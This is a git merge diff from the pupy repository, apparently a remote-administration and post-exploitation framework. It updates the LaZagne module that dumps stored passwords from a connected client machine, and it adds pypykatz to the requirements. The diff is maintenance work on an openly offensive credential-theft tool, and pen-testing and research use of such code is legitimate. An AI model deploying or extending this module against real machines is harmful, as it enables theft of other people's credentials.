Merge branch 'unstable' of github.com:/n1nj4sec/pupy into unstable

pupy/modules/lazagne.py

@@ -17,8 +17,7 @@ class LaZagne(PupyModule):
     dependencies = {
         'all': [
             'whole', 'sqlite3', 'xml', 'calendar',
-            'memorpy', 'ConfigParser', 'construct',
-            'lazagne', 'laZagne', 'pyasn1'
+            'ConfigParser', 'lazagne', 'pyasn1'
         ],
         'linux': [
             'secretstorage', 'crypt'
@@ -64,7 +63,7 @@ class LaZagne(PupyModule):
         db = Credentials(client=self.client, config=self.config)
 
         whole = self.client.remote('whole', 'to_strings_list', False)
-        runLaZagne = self.client.remote('laZagne', 'runLaZagne', False)
+        runLaZagne = self.client.remote('lazagne.config.run', 'run_lazagne', False)
 
         first_user = True
         passwordsFound = False
@@ -96,12 +95,6 @@ class LaZagne(PupyModule):
         if not passwordsFound:
             self.warning('no passwords found !')
 
-        # clean temporary file if present
-        try:
-            self.client.conn.modules['laZagne'].clean_temporary_files()
-        except AttributeError:
-            pass
-
     def print_module_title(self, module):
         self.log(Color(u'------------------- {} -------------------'.format(module), 'yellow'))
         self.log(NewLine())

pupy/packages/linux/all/laZagne.py

@@ -1 +0,0 @@
-../../../external/LaZagne/Linux/laZagne.py

pupy/packages/windows/all/laZagne.py

@@ -1 +0,0 @@
-../../../external/LaZagne/Windows/laZagne.py

pupy/requirements.txt

@@ -21,6 +21,7 @@ http-parser
 cerberus
 logutils
 secretstorage
+https://github.com/AlessandroZ/pypykatz/archive/master.zip
 pygments
 requests
 tornado
@@ -34,6 +35,5 @@ fusepy
 defusedxml
 keyboard
 -e external/pykcp
-construct==2.9.39
 flake8
 flake8-per-file-ignores

pupy/tox.ini

@@ -49,9 +49,7 @@ exclude =
 	network/lib/streams/PupyAsyncStream.py
 	# symlinks (travis workaround)
 	packages/linux/all/lazagne
-	packages/linux/all/laZagne.py
 	packages/linux/all/mimipy.py
 	packages/linux/all/beroot
 	packages/windows/all/beroot
 	packages/windows/all/lazagne
-	packages/windows/all/laZagne.py